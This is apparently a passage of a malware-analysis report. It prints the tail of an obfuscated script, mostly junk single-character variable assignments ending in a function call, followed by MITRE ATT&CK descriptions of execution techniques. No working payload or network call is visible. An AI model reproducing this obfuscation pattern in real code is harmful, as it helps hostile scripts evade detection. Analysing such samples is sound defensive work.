458	hpolgebuk = "Q";
459	hpolgebuk = "z";
460	hpolgebuk = "h";
461	hpolgebuk = "J";
462	hpolgebuk = "M";
463	hpolgebuk = "f";
464	hpolgebuk = "i";
465	hpolgebuk = "Z";
466	hpolgebuk = "z";
467	hpolgebuk = "x";
468	hpolgebuk = "p";
469	hpolgebuk = "d";
470	hpolgebuk = "K";
471	hpolgebuk = "O";
472	hpolgebuk = "X";
473	hpolgebuk = "o";
474	hpolgebuk = "S";
475	hpolgebuk = "J";
476	hpolgebuk = "2";
477	tutggz = "u";
478	tutggz = "i";
479	tutggz = "d";
480	tutggz = "s";
481	tutggz = "v";
482	tutggz = "H";
483	tutggz = "c";
484	tutggz = "B";
485	tutggz = "F";
486	tutggz = "j";
487	tutggz = "N";
488	tutggz = "R";
489	tutggz = "J";
490	tutggz = "J";
491	tutggz = "P";
492	tutggz = "v";
493	tutggz = "L";
494	tutggz = "p";
495	tutggz = "Z";
496	tutggz = "u";
497	tutggz = "C";
498	tutggz = "k";
499	tutggz = "x";
500	tutggz = "w";
501	tutggz = "y";
502	tutggz = "Y";
503	tutggz = "X";
504	tutggz = "O";
505	tutggz = "X";
506	tutggz = "M";
507	tutggz = "O";
508	tutggz = "q";
509	tutggz = "p";
510	tutggz = "R";
511	tutggz = "x";
512	tutggz = "q";
513	tutggz = "e";
514	tutggz = "z";
515	tutggz = "M";
516	tutggz = "W";
517	tutggz = "&";
518	paplfwbmr = "y";
519	paplfwbmr = "S";
520	paplfwbmr = "O";
521	paplfwbmr = "h";
522	paplfwbmr = "u";
523	paplfwbmr = "O";
524	paplfwbmr = "u";
525	paplfwbmr = "q";
526	paplfwbmr = "i";
527	paplfwbmr = "C";
528	paplfwbmr = "b";
529	paplfwbmr = "J";
530	paplfwbmr = "i";
531	paplfwbmr = "e";
532	noeqykj = "T";
533	noeqykj = "w";
534	noeqykj = "f";
535	noeqykj = "Q";
536	noeqykj = "k";
537	noeqykj = "U";
538	noeqykj = "t";
539	noeqykj = "E";
540	noeqykj = "j";
541	noeqykj = "Z";
542	noeqykj = "h";
543	noeqykj = "A";
544	noeqykj = "m";
545	noeqykj = "W";
546	noeqykj = "h";
547	noeqykj = "P";
548	noeqykj = "c";
549	noeqykj = "D";
550	noeqykj = "W";
551	noeqykj = "h";
552	noeqykj = "N";
553	noeqykj = "U";
554	nlynjr = "a";
555	nlynjr = "y";
556	nlynjr = "W";
557	nlynjr = "o";
558	nlynjr = "z";
559	nlynjr = "a";
560	nlynjr = "K";
561	nlynjr = "Z";
562	nlynjr = "m";
563	nlynjr = "e";
564	nlynjr = "s";
565	nlynjr = "A";
566	nlynjr = "Q";
567	nlynjr = "Z";
568	nlynjr = "R";
569	nlynjr = "F";
570	nlynjr = "E";
571	nlynjr = "G";
572	nlynjr = "u";
573	nlynjr = "H";
574	ltfxpi = "u";
575	ltfxpi = "d";
576	ltfxpi = "W";
577	ltfxpi = "H";
578	ltfxpi = "b";
579	ltfxpi = "X";
580	ltfxpi = "I";
581	ltfxpi = "c";
582	ltfxpi = "b";
583	ltfxpi = "f";
584	ltfxpi = "o";
585	ltfxpi = "w";
586	ltfxpi = "P";
587	ltfxpi = "r";
588	ltfxpi = "s";
589	ltfxpi = "D";
590	ltfxpi = "Q";
591	ltfxpi = "t";
592	ltfxpi = "e";
593	ltfxpi = "N";
594	ltfxpi = "v";
595	ltfxpi = "z";
596	ltfxpi = "B";
597	ltfxpi = "N";
598	ltfxpi = "U";
599	ltfxpi = "C";
600	fzjhecq = "w";
601	fzjhecq = "j";
602	fzjhecq = "R";
603	fzjhecq = "W";
604	fzjhecq = "r";
605	fzjhecq = "i";
606	fzjhecq = "J";
607	fzjhecq = "Z";
608	fzjhecq = "F";
609	fzjhecq = "o";
610	fzjhecq = "l";
611	fzjhecq = "I";
612	fzjhecq = "W";
613	fzjhecq = "R";
614	fzjhecq = "m";
615	fzjhecq = "v";
616	fzjhecq = "D";
617	fzjhecq = "E";
618	fzjhecq = "b";
619	fzjhecq = "r";
620	fzjhecq = "K";
621	fzjhecq = "t";
622	fzjhecq = "K";
623	fzjhecq = "V";
624	fzjhecq = "U";
625	fzjhecq = "z";
626	fzjhecq = "M";
627	fzjhecq = "l";
628	fzjhecq = "y";
629	fzjhecq = "P";
630	fzjhecq = "u";
631	fzjhecq = "z";
632	fzjhecq = "n";
633	fzjhecq = "H";
634	fzjhecq = "l";
635	fzjhecq = "N";
636	fzjhecq = "Y";
637	oelofkk = "i";
638	oelofkk = "i";
639	oelofkk = "f";
640	oelofkk = "E";
641	oelofkk = "F";
642	oelofkk = "o";
643	oelofkk = "e";
644	oelofkk = "w";
645	oelofkk = "V";
646	oelofkk = "S";
647	oelofkk = "X";
648	oelofkk = "Z";
649	oelofkk = "I";
650	oelofkk = "A";
651	oelofkk = "h";
652	oelofkk = "o";
653	oelofkk = "u";
654	oelofkk = "m";
655	oelofkk = "I";
656	oelofkk = "c";
657	oelofkk = "Y";
658	oelofkk = "K";
659	oelofkk = "p";
660	oelofkk = "T";
661	oelofkk = "o";
662	oelofkk = "f";
663	oelofkk = "M";
664	oelofkk = "t";
665	oelofkk = "x";
666	oelofkk = "T";
667	llaui = "y";
668	llaui = "H";
669	llaui = "I";
670	llaui = "q";
671	llaui = "v";
672	llaui = "W";
673	llaui = "t";
674	llaui = "q";
675	llaui = "m";
676	llaui = "L";
677	llaui = "y";
678	llaui = "q";
679	llaui = "z";
680	llaui = "t";
681	llaui = "K";
682	llaui = "w";
683	llaui = "a";
684	llaui = "P";
685	llaui = "S";
686	llaui = "v";
687	llaui = "c";
688	llaui = "D";
689	llaui = "N";
690	llaui = "B";
691	llaui = "e";
692	llaui = "c";
693	llaui = "g";
694	llaui = "b";
695	llaui = "o";
696	llaui = "s";
697	llaui = "N";
698	llaui = "p";
699	llaui = "Y";
700	llaui = "S";
701	llaui = "l";
702	llaui = "v";
703	llaui = "O";
704	llaui = "K";
705	ohism = "J";
706	ohism = "R";
707	ohism = "h";
708	ohism = "z";
709	ohism = "v";
710	ohism = "a";
711	ohism = "L";
712	ohism = "S";
713	ohism = "q";
714	ohism = "t";
715	ohism = "c";
716	ohism = "l";
717	ohism = "d";
718	ohism = "x";
719	ohism = "f";
720	ohism = "U";
721	ohism = "v";
722	ohism = "M";
723	ohism = "o";
724	ohism = "D";
725	ohism = "J";
726	ohism = "i";
727	ohism = "J";
728	ohism = "J";
729	ohism = "V";
730	ohism = "M";
731	ohism = "z";
732	ohism = "q";
733	ohism = "R";
734	ohism = "A";
735	ohism = "X";
736	ohism = "E";
737	ohism = "W";
738	ohism = "k";
739	ohism = "T";
740	ohism = "p";
741	ohism = "r";
742	ohism = "c";
743	ohism = "W";
744	ohism = "N";
745	lflodp = "O";
746	lflodp = "H";
747	lflodp = "h";
748	lflodp = "\\";
749	vneejxttq = "P";
750	vneejxttq = "U";
751	vneejxttq = "u";
752	vneejxttq = "i";
753	vneejxttq = "V";
754	vneejxttq = "t";
755	vneejxttq = "n";
756	vneejxttq = "Q";
757	vneejxttq = "c";
758	vneejxttq = "r";
759	vneejxttq = "x";
760	vneejxttq = "V";
761	vneejxttq = "v";
762	vneejxttq = "J";
763	vneejxttq = "k";
764	vneejxttq = "g";
765	vneejxttq = "q";
766	vneejxttq = "B";
767	vneejxttq = "T";
768	vneejxttq = "J";
769	vneejxttq = "I";
770	vneejxttq = "o";
771	vneejxttq = "h";
772	vneejxttq = "V";
773	vneejxttq = "t";
774	vneejxttq = "N";
775	vneejxttq = "i";
776	vneejxttq = "A";
777	vneejxttq = "n";
778	lkbacdmx = "X";
779	lkbacdmx = "m";
780	lkbacdmx = "V";
781	lkbacdmx = "E";
782	lkbacdmx = "E";
783	lkbacdmx = "i";
784	lkbacdmx = "I";
785	lkbacdmx = "D";
786	lkbacdmx = "i";
787	lkbacdmx = "g";
788	lkbacdmx = "a";
789	lkbacdmx = "l";
790	lkbacdmx = "Q";
791	lkbacdmx = "e";
792	lkbacdmx = "C";
793	lkbacdmx = "F";
794	lkbacdmx = "Z";
795	lkbacdmx = "P";
796	lkbacdmx = "q";
797	lkbacdmx = "R";
798	lkbacdmx = "B";
799	lkbacdmx = "D";
800	lkbacdmx = "N";
801	lkbacdmx = "l";
802	lkbacdmx = "u";
803	lkbacdmx = "s";
804	lkbacdmx = "a";
805	lkbacdmx = "S";
806	lkbacdmx = "l";
807	lkbacdmx = "a";
808	lkbacdmx = "V";
809	lkbacdmx = "Y";
810	lkbacdmx = "T";
811	lkbacdmx = "p";
812	lkbacdmx = "g";
813	lkbacdmx = "T";
814	lkbacdmx = "D";
815	lkbacdmx = "Q";
816	lkbacdmx = "G";
817	lkbacdmx = "S";
818	lkbacdmx = "w";
819	lkbacdmx = "f";
820	lkbacdmx = "N";
821	lkbacdmx = "R";
822	lkbacdmx = "t";
823	eqkojle = "d";
824	eqkojle = "a";
825	eqkojle = "L";
826	eqkojle = "N";
827	eqkojle = "G";
828	eqkojle = "T";
829	eqkojle = "P";
830	eqkojle = "q";
831	eqkojle = "I";
832	eqkojle = "m";
833	eqkojle = "S";
834	eqkojle = "R";
835	eqkojle = "n";
836	eqkojle = "v";
837	eqkojle = "W";
838	eqkojle = "x";
839	eqkojle = "z";
840	eqkojle = "s";
841	eqkojle = "Q";
842	eqkojle = "v";
843	pebxtgtl = "w";
844	pebxtgtl = "d";
845	pebxtgtl = "g";
846	pebxtgtl = "i";
847	pebxtgtl = "o";
848	pebxtgtl = "i";
849	pebxtgtl = "L";
850	pebxtgtl = "u";
851	pebxtgtl = "z";
852	pebxtgtl = "M";
853	pebxtgtl = "H";
854	pebxtgtl = "f";
855	pebxtgtl = "h";
856	pebxtgtl = "o";
857	pebxtgtl = "b";
858	pebxtgtl = "b";
859	pebxtgtl = "g";
860	pebxtgtl = "P";
861	pebxtgtl = "T";
862	pebxtgtl = "h";
863	pebxtgtl = "e";
864	pebxtgtl = "C";
865	pebxtgtl = "S";
866	pebxtgtl = "b";
867	pebxtgtl = "F";
868	pebxtgtl = "a";
869	pebxtgtl = "N";
870	pebxtgtl = "U";
871	pebxtgtl = "D";
872	pebxtgtl = "s";
873	pebxtgtl = "@";
874	nsetkgaz = "Q";
875	nsetkgaz = "f";
876	nsetkgaz = "l";
877	nsetkgaz = "M";
878	nsetkgaz = "m";
879	nsetkgaz = "p";
880	nsetkgaz = "N";
881	nsetkgaz = "x";
882	nsetkgaz = "m";
883	nsetkgaz = "N";
884	nsetkgaz = "z";
885	nsetkgaz = "e";
886	nsetkgaz = "r";
887	nsetkgaz = "W";
888	nsetkgaz = "E";
889	nsetkgaz = "q";
890	nsetkgaz = "b";
891	nsetkgaz = "b";
892	nsetkgaz = "u";
893	nsetkgaz = "l";
894	nsetkgaz = "r";
895	ucjbpccb = "j";
896	ucjbpccb = "m";
897	ucjbpccb = "e";
898	ucjbpccb = "x";
899	ucjbpccb = "O";
900	ucjbpccb = "e";
901	ucjbpccb = "Q";
902	ucjbpccb = "A";
903	ucjbpccb = "o";
904	ucjbpccb = "e";
905	ucjbpccb = "X";
906	ucjbpccb = "x";
907	ucjbpccb = "v";
908	ucjbpccb = "N";
909	ucjbpccb = "G";
910	ucjbpccb = "f";
911	ucjbpccb = "t";
912	ucjbpccb = "N";
913	ucjbpccb = "H";
914	ucjbpccb = "M";
915	ucjbpccb = "X";
916	ucjbpccb = "U";
917	ucjbpccb = "M";
918	ucjbpccb = "j";
919	ucjbpccb = "H";
920	ucjbpccb = "x";
921	ucjbpccb = "l";
922	ucjbpccb = "q";
923	ucjbpccb = "G";
924	ucjbpccb = "V";
925	ucjbpccb = "l";
926	ucjbpccb = "p";
927	ucjbpccb = "Q";
928	ucjbpccb = "t";
929	ucjbpccb = "Z";
930	ucjbpccb = "q";
931	ucjbpccb = "s";
932	aqtobyo = "c";
933	aqtobyo = "E";
934	aqtobyo = "q";
935	aqtobyo = "f";
936	aqtobyo = "z";
937	aqtobyo = "W";
938	aqtobyo = "J";
939	aqtobyo = "X";
940	aqtobyo = "N";
941	aqtobyo = "i";
942	aqtobyo = "N";
943	aqtobyo = "W";
944	aqtobyo = "o";
945	aqtobyo = "S";
946	aqtobyo = "g";
947	aqtobyo = "s";
948	aqtobyo = "O";
949	aqtobyo = "k";
950	aqtobyo = "V";
951	aqtobyo = "z";
952	aqtobyo = "V";
953	aqtobyo = "z";
954	aqtobyo = "H";
955	aqtobyo = "T";
956	aqtobyo = "m";
957	aqtobyo = "y";
958	aqtobyo = "c";
959	aqtobyo = "Q";
960	aqtobyo = "P";
961	aqtobyo = "Q";
962	csizpaeh = "L";
963	csizpaeh = "N";
964	csizpaeh = "w";
965	csizpaeh = "R";
966	csizpaeh = "o";
967	csizpaeh = "x";
968	csizpaeh = "w";
969	csizpaeh = "P";
970	csizpaeh = "R";
971	csizpaeh = "E";
972	csizpaeh = "L";
973	csizpaeh = "b";
974	csizpaeh = "n";
975	csizpaeh = "H";
976	csizpaeh = "t";
977	csizpaeh = "g";
978	csizpaeh = "j";
979	csizpaeh = "I";
980	csizpaeh = "y";
981	csizpaeh = "M";
982	csizpaeh = "K";
983	csizpaeh = "G";
984	csizpaeh = "L";
985	csizpaeh = "T";
986	csizpaeh = "o";
987	csizpaeh = "S";
988	csizpaeh = "h";
989	csizpaeh = "a";
990	csizpaeh = "G";
991	csizpaeh = "u";
992	izxiqts = "d";
993	izxiqts = "e";
994	izxiqts = "x";
995	izxiqts = "k";
996	izxiqts = "e";
997	izxiqts = "g";
998	izxiqts = "A";
999	izxiqts = "a";
1000	izxiqts = "y";
1001	izxiqts = "f";
1002	izxiqts = "m";
1003	izxiqts = "K";
1004	izxiqts = "v";
1005	izxiqts = "H";
1006	izxiqts = "J";
1007	izxiqts = "m";
1008	izxiqts = "m";
1009	mglzdar = "D";
1010	mglzdar = "Z";
1011	mglzdar = "L";
1012	mglzdar = "R";
1013	mglzdar = "O";
1014	mglzdar = "n";
1015	mglzdar = "P";
1016	mglzdar = "L";
1017	mglzdar = "P";
1018	mglzdar = "D";
1019	mglzdar = "L";
1020	mglzdar = "q";
1021	mglzdar = "T";
1022	mglzdar = "n";
1023	mglzdar = "w";
1024	mglzdar = "T";
1025	mglzdar = "Q";
1026	mglzdar = "g";
1027	mglzdar = "k";
1028	mglzdar = "R";
1029	mglzdar = "l";
1030	mglzdar = "Q";
1031	mglzdar = "M";
1032	mglzdar = "D";
1033	mglzdar = "X";
1034	mglzdar = "A";
1035	mglzdar = "z";
1036	mglzdar = "V";
1037	mglzdar = "C";
1038	mglzdar = "Q";
1039	mglzdar = "J";
1040	mglzdar = "c";
1041	rnlifl = "j";
1042	rnlifl = "r";
1043	rnlifl = "Y";
1044	rnlifl = "I";
1045	rnlifl = "e";
1046	rnlifl = "R";
1047	rnlifl = "S";
1048	rnlifl = "Z";
1049	rnlifl = "b";
1050	rnlifl = "c";
1051	rnlifl = "a";
1052	rnlifl = "D";
1053	rnlifl = "H";
1054	rnlifl = "b";
1055	rnlifl = "r";
1056	rnlifl = "j";
1057	dwolnscgq = "o";
1058	dwolnscgq = "N";
1059	dwolnscgq = "T";
1060	dwolnscgq = "V";
1061	dwolnscgq = "b";
1062	dwolnscgq = "x";
1063	dwolnscgq = "G";
1064	dwolnscgq = "g";
1065	dwolnscgq = "o";
1066	dwolnscgq = "I";
1067	dwolnscgq = "K";
1068	dwolnscgq = "o";
1069	dwolnscgq = "u";
1070	dwolnscgq = "w";
1071	dwolnscgq = "Y";
1072	dwolnscgq = "c";
1073	dwolnscgq = "R";
1074	dwolnscgq = "I";
1075	dwolnscgq = "e";
1076	dwolnscgq = "y";
1077	dwolnscgq = "I";
1078	dwolnscgq = "A";
1079	dwolnscgq = "M";
1080	dwolnscgq = "Z";
1081	dwolnscgq = "l";
1082	dwolnscgq = "h";
1083	dwolnscgq = "E";
1084	dwolnscgq = "h";
1085	dwolnscgq = "u";
1086	dwolnscgq = "y";
1087	dwolnscgq = "Y";
1088	dwolnscgq = "m";
1089	dwolnscgq = "Z";
1090	dwolnscgq = "y";
1091	dwolnscgq = "X";
1092	dwolnscgq = "K";
1093	dwolnscgq = "x";
1094	dwolnscgq = "R";
1095	dwolnscgq = "F";
1096	dwolnscgq = "R";
1097	dwolnscgq = "M";
1098	dwolnscgq = "o";
1099	dwolnscgq = "S";
1100	dwolnscgq = "U";
1101	dwolnscgq = "d";
1102	dzeansexx = "e";
1103	dzeansexx = "Y";
1104	dzeansexx = "V";
1105	dzeansexx = "v";
1106	dzeansexx = "U";
1107	dzeansexx = "Z";
1108	dzeansexx = "I";
1109	dzeansexx = "t";
1110	dzeansexx = "s";
1111	dzeansexx = "F";
1112	dzeansexx = "Q";
1113	dzeansexx = "V";
1114	dzeansexx = "F";
1115	dzeansexx = "z";
1116	dzeansexx = "j";
1117	dzeansexx = "U";
1118	dzeansexx = "N";
1119	dzeansexx = "o";
1120	dzeansexx = "J";
1121	dzeansexx = "B";
1122	dzeansexx = "A";
1123	dzeansexx = "P";
1124	dzeansexx = "f";
1125	dzeansexx = "l";
1126	dzeansexx = "C";
1127	dzeansexx = "G";
1128	dzeansexx = "Q";
1129	dzeansexx = "\"";
1130	szbkxwxfc = "6";
1131	rofyhxp = "P";
1132	rofyhxp = "V";
1133	rofyhxp = "M";
1134	rofyhxp = "Y";
1135	rofyhxp = "L";
1136	rofyhxp = "a";
1137	rofyhxp = "O";
1138	rofyhxp = "M";
1139	rofyhxp = "F";
1140	rofyhxp = "K";
1141	rofyhxp = "h";
1142	rofyhxp = "i";
1143	rofyhxp = "j";
1144	rofyhxp = "l";
1145	rofyhxp = "v";
1146	rofyhxp = "Z";
1147	rofyhxp = "z";
1148	rofyhxp = "c";
1149	rofyhxp = "f";
1150	rofyhxp = "L";
1151	rofyhxp = "l";
1152	rofyhxp = "k";
1153	rofyhxp = "G";
1154	rofyhxp = "z";
1155	rofyhxp = "H";
1156	rofyhxp = "K";
1157	rofyhxp = "z";
1158	rofyhxp = "V";
1159	rofyhxp = "P";
1160	rofyhxp = "Q";
1161	rofyhxp = "v";
1162	rofyhxp = "j";
1163	rofyhxp = "K";
1164	rofyhxp = "I";
1165	rofyhxp = "k";
1166	fxssneklw = "z";
1167	fxssneklw = "b";
1168	fxssneklw = "R";
1169	fxssneklw = "x";
1170	fxssneklw = "F";
1171	fxssneklw = "m";
1172	fxssneklw = "x";
1173	fxssneklw = "d";
1174	fxssneklw = "g";
1175	fxssneklw = "l";
1176	fxssneklw = "L";
1177	fxssneklw = "C";
1178	fxssneklw = "W";
1179	fxssneklw = "l";
1180	lcjwrecz = "C";
1181	lcjwrecz = "q";
1182	lcjwrecz = "u";
1183	lcjwrecz = "v";
1184	lcjwrecz = "r";
1185	lcjwrecz = "w";
1186	lcjwrecz = "S";
1187	lcjwrecz = "X";
1188	lcjwrecz = "G";
1189	lcjwrecz = "M";
1190	lcjwrecz = "m";
1191	lcjwrecz = "o";
1192	lcjwrecz = "w";
1193	lcjwrecz = "f";
1194	lcjwrecz = "u";
1195	lcjwrecz = "m";
1196	lcjwrecz = "S";
1197	lcjwrecz = "k";
1198	lcjwrecz = "j";
1199	lcjwrecz = "Q";
1200	lcjwrecz = "O";
1201	lcjwrecz = "Q";
1202	lcjwrecz = "Q";
1203	lcjwrecz = "Q";
1204	lcjwrecz = "N";
1205	lcjwrecz = "o";
1206	lcjwrecz = "n";
1207	lcjwrecz = "v";
1208	lcjwrecz = "R";
1209	lcjwrecz = "z";
1210	lcjwrecz = "c";
1211	lcjwrecz = "V";
1212	lcjwrecz = "Z";
1213	lcjwrecz = "z";
1214	lcjwrecz = "k";
1215	lcjwrecz = "v";
1216	lcjwrecz = "C";
1217	lcjwrecz = "A";
1218	lcjwrecz = "b";
1219	lcjwrecz = "U";
1220	lcjwrecz = "P";
1221	lcjwrecz = "z";
1222	lcjwrecz = "b";
1223	fmmbwyotd = "m";
1224	fmmbwyotd = "i";
1225	fmmbwyotd = "W";
1226	fmmbwyotd = "z";
1227	fmmbwyotd = "O";
1228	fmmbwyotd = "N";
1229	fmmbwyotd = "l";
1230	fmmbwyotd = "f";
1231	fmmbwyotd = "h";
1232	fmmbwyotd = "b";
1233	fmmbwyotd = "g";
1234	fmmbwyotd = "X";
1235	fmmbwyotd = "f";
1236	fmmbwyotd = "p";
1237	fmmbwyotd = "l";
1238	fmmbwyotd = "H";
1239	fmmbwyotd = "L";
1240	fmmbwyotd = "D";
1241	fmmbwyotd = "w";
1242	fmmbwyotd = "k";
1243	fmmbwyotd = "s";
1244	fmmbwyotd = "W";
1245	fmmbwyotd = "z";
1246	fmmbwyotd = "v";
1247	fmmbwyotd = "k";
1248	fmmbwyotd = "w";
1249	fmmbwyotd = ":";
1250	rtcmrp = "n";
1251	rtcmrp = "f";
1252	rtcmrp = "O";
1253	rtcmrp = "D";
1254	rtcmrp = "p";
1255	rtcmrp = "P";
1256	rtcmrp = "R";
1257	rtcmrp = "3";
1258	kixnu = "D";
1259	kixnu = "b";
1260	kixnu = "d";
1261	kixnu = "f";
1262	kixnu = "g";
1263	kixnu = "H";
1264	kixnu = "S";
1265	kixnu = "S";
1266	kixnu = "Y";
1267	kixnu = "S";
1268	kixnu = "x";
1269	kixnu = "q";
1270	kixnu = "r";
1271	kixnu = "l";
1272	kixnu = "A";
1273	kixnu = "Y";
1274	kixnu = "W";
1275	kixnu = "x";
1276	kixnu = "s";
1277	kixnu = "p";
1278	kixnu = "N";
1279	kixnu = "u";
1280	kixnu = "C";
1281	kixnu = "m";
1282	kixnu = "B";
1283	kixnu = "h";
1284	kixnu = "g";
1285	kixnu = "w";
1286	kixnu = "s";
1287	kixnu = "h";
1288	dhfvvhfwq = "o";
1289	dhfvvhfwq = "R";
1290	dhfvvhfwq = "l";
1291	dhfvvhfwq = "J";
1292	dhfvvhfwq = "U";
1293	dhfvvhfwq = "x";
1294	dhfvvhfwq = "a";
1295	dhfvvhfwq = "t";
1296	dhfvvhfwq = "K";
1297	dhfvvhfwq = "f";
1298	dhfvvhfwq = "o";
1299	dhfvvhfwq = "B";
1300	dhfvvhfwq = "U";
1301	dhfvvhfwq = "r";
1302	dhfvvhfwq = "v";
1303	dhfvvhfwq = "W";
1304	dhfvvhfwq = "V";
1305	dhfvvhfwq = "o";
1306	dhfvvhfwq = "W";
1307	dhfvvhfwq = "q";
1308	dhfvvhfwq = "G";
1309	dhfvvhfwq = "V";
1310	dhfvvhfwq = "m";
1311	dhfvvhfwq = "y";
1312	dhfvvhfwq = "g";
1313	dhfvvhfwq = "p";
1314	dhfvvhfwq = "b";
1315	dhfvvhfwq = "I";
1316	haoqzwmq = "S";
1317	oopdd = "w";
1318	oopdd = "O";
1319	oopdd = "i";
1320	oopdd = "Z";
1321	oopdd = "k";
1322	oopdd = "M";
1323	oopdd = "C";
1324	oopdd = "f";
1325	oopdd = "P";
1326	oopdd = "d";
1327	oopdd = "l";
1328	oopdd = "A";
1329	oopdd = "Y";
1330	oopdd = "q";
1331	oopdd = "h";
1332	oopdd = "D";
1333	oopdd = "r";
1334	oopdd = "o";
1335	oopdd = "M";
1336	oopdd = "s";
1337	oopdd = "u";
1338	oopdd = "R";
1339	oopdd = "b";
1340	oopdd = "f";
1341	oopdd = "f";
1342	mmhxhpvv = "j";
1343	mmhxhpvv = "R";
1344	mmhxhpvv = "a";
1345	mmhxhpvv = "O";
1346	mmhxhpvv = "E";
1347	mmhxhpvv = "D";
1348	mmhxhpvv = "X";
1349	mmhxhpvv = "C";
1350	mmhxhpvv = "k";
1351	mmhxhpvv = "I";
1352	mmhxhpvv = "L";
1353	mmhxhpvv = "A";
1354	mmhxhpvv = "l";
1355	mmhxhpvv = "K";
1356	mmhxhpvv = "w";
1357	mmhxhpvv = "i";
1358	mmhxhpvv = "l";
1359	mmhxhpvv = "O";
1360	mmhxhpvv = "D";
1361	mmhxhpvv = "B";
1362	mmhxhpvv = "W";
1363	mmhxhpvv = "H";
1364	mmhxhpvv = "C";
1365	mmhxhpvv = "l";
1366	mmhxhpvv = "C";
1367	mmhxhpvv = "n";
1368	mmhxhpvv = "K";
1369	mmhxhpvv = "p";
1370	mmhxhpvv = "_";
1371	vrmmki = "P";
1372	vrmmki = "a";
1373	vrmmki = "m";
1374	vrmmki = "j";
1375	vrmmki = "S";
1376	vrmmki = "H";
1377	vrmmki = "i";
1378	vrmmki = "m";
1379	vrmmki = "T";
1380	vrmmki = "q";
1381	vrmmki = "u";
1382	vrmmki = "a";
1383	vrmmki = "X";
1384	vrmmki = "%";
1385	djkqirb = "g";
1386	djkqirb = "o";
1387	djkqirb = "E";
1388	djkqirb = "w";
1389	djkqirb = "n";
1390	djkqirb = "w";
1391	djkqirb = "N";
1392	djkqirb = "e";
1393	djkqirb = "s";
1394	djkqirb = "i";
1395	djkqirb = "z";
1396	djkqirb = "c";
1397	djkqirb = "P";
1398	djkqirb = "w";
1399	djkqirb = "N";
1400	djkqirb = "w";
1401	djkqirb = "m";
1402	djkqirb = "s";
1403	djkqirb = "x";
1404	djkqirb = "u";
1405	djkqirb = "H";
1406	djkqirb = "E";
1407	djkqirb = "R";
1408	djkqirb = "b";
1409	djkqirb = "U";
1410	djkqirb = "X";
1411	djkqirb = "H";
1412	djkqirb = "r";
1413	djkqirb = "s";
1414	djkqirb = "K";
1415	djkqirb = "a";
1416	djkqirb = "P";
1417	djkqirb = "V";
1418	djkqirb = "I";
1419	djkqirb = "h";
1420	djkqirb = "B";
1421	djkqirb = "k";
1422	djkqirb = "n";
1423	djkqirb = "c";
1424	djkqirb = "I";
1425	djkqirb = "z";
1426	djkqirb = "L";
1427	bhcxhszyt = "P";
1428	bhcxhszyt = "J";
1429	bhcxhszyt = "f";
1430	bhcxhszyt = "S";
1431	bhcxhszyt = "g";
1432	bhcxhszyt = "L";
1433	bhcxhszyt = "O";
1434	bhcxhszyt = "c";
1435	bhcxhszyt = "F";
1436	bhcxhszyt = "Z";
1437	bhcxhszyt = "I";
1438	bhcxhszyt = "q";
1439	vdvnftko = "V";
1440	vdvnftko = "L";
1441	vdvnftko = "R";
1442	vdvnftko = "R";
1443	vdvnftko = "W";
1444	vdvnftko = "y";
1445	vdvnftko = "h";
1446	vdvnftko = "p";
1447	vdvnftko = "G";
1448	vdvnftko = "k";
1449	vdvnftko = "U";
1450	vdvnftko = "g";
1451	vdvnftko = "R";
1452	vdvnftko = "W";
1453	vdvnftko = "g";
1454	vdvnftko = "t";
1455	vdvnftko = "x";
1456	vdvnftko = "G";
1457	vdvnftko = "h";
1458	vdvnftko = "e";
1459	vdvnftko = "I";
1460	vdvnftko = "z";
1461	vdvnftko = "8";
1462	seoxyj = "t";
1463	seoxyj = "W";
1464	seoxyj = "/";
1465	kkrldg = "p";
1466	kkrldg = "W";
1467	kkrldg = "A";
1468	kkrldg = "u";
1469	kkrldg = "d";
1470	kkrldg = "g";
1471	kkrldg = "E";
1472	kkrldg = "h";
1473	kkrldg = "c";
1474	kkrldg = "o";
1475	kkrldg = "W";
1476	kkrldg = "D";
1477	kkrldg = "b";
1478	kkrldg = "J";
1479	kkrldg = "v";
1480	kkrldg = "y";
1481	kkrldg = "k";
1482	kkrldg = "q";
1483	kkrldg = "B";
1484	kkrldg = "L";
1485	kkrldg = "f";
1486	kkrldg = "s";
1487	kkrldg = "y";
1488	kkrldg = "x";
1489	kkrldg = "v";
1490	kkrldg = "T";
1491	kkrldg = "K";
1492	kkrldg = "U";
1493	kkrldg = " ";
1494	rtuxyhry ( );	rtuxyhry() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

